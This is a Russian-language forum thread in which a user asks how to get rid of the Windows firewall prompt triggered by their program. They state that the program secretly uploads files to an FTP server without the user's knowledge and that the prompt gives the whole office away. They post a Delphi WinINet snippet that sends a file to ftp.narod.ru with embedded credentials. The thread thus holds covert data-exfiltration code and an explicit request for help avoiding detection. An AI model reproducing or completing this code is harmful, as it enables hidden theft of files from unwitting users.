Отключение запроса на соединение с ФТП.

[W.i.d.g.e.t.1]

Спасибо всем большое!!!! Проблема решена, извините, что спрашивала не по-русски..))))Это стандартный виндовый фаервол))))

[p51x]

Что за программа? Может у нее ключи, параметры есть?

[raxp]

если пароль пустой, поставь пробел ...это для тотала ...ежели что-то другое, то перечитайте свое сообщение и подумайте, что из него можно понять.

[W.i.d.g.e.t.1]

Как я еще могу написать? Программа отправки файлов на фтп сервер, делается это все без ведома пользователя. Сама операционная система сообщает- разрешить этому пк соединение с фтп сервером, примерно так. и две кнопки- да или нет. вот как это окно убрать?
Если не понятно, могу еще раз написать и если получиться, то скрин сделать, ибо у меня такого не выскакивает.

[W.i.d.g.e.t.1]

Пароли и юзер для фтп вообще не причем, потому что они уже в коде есть. волнует не сам процесс, а это доставучее окно, которое палит всю контору.

[Пепел Феникса]

какое окно?
как работаете?
через что?

[raxp]

Как я еще могу написать?

подробно можете, например - что за программа? потому как ftp сервер есть консольный и в системе

и если получиться, то скрин сделать

вот и приложите скрин

[W.i.d.g.e.t.1]

"""подробно можете, например - что за программа? потому как ftp сервер есть консольный и в системе
вот и приложите скрин"""

Блин...в общем, это относиться не к телу самой программы...если это что то даст, вот кусок, изза которого выскакивает это дурацкое окно-----
var
conn_param,inet_open : hinternet;

procedure upload(filenamechar; ftpfilenamechar);
const
port=21;
begin
inet_open := internetopen('iexplore',INTERNET_OP EN_TYPE_DIRECT,nil,nil,0);
//Настройки коннекта( фтп, логин, пасс)
conn_param := internetconnect(inet_open,'ftp.naro d.ru',port,'лог','пасс',INTERNET_SE RVICE_FTP,INTERNET_FLAG_PASSIVE,0);
sleep(100);
ftpputfile(conn_param,filename,ftpf ilename,FTP_TRANSFER_TYPE_UNKNOWN,0 );
internetclosehandle(conn_param);
internetclosehandle(inet_open) ;
END;

ну и потом соответственно----upload(PChar(fail2),'11.тхт');

на все эти движения это самое окно, не могу я его раздобыть, как вы думаете, что я скажу? на запусти мой файл и скрин сделай и еще 4 часа объяснять что такое скрин....
теперь вроде понятней?....


program DGET18;
//этой строки нет, вообще консольное приложение было

uses
SysUtils,shlobj,Windows,ShellAPI, Classes, wininet;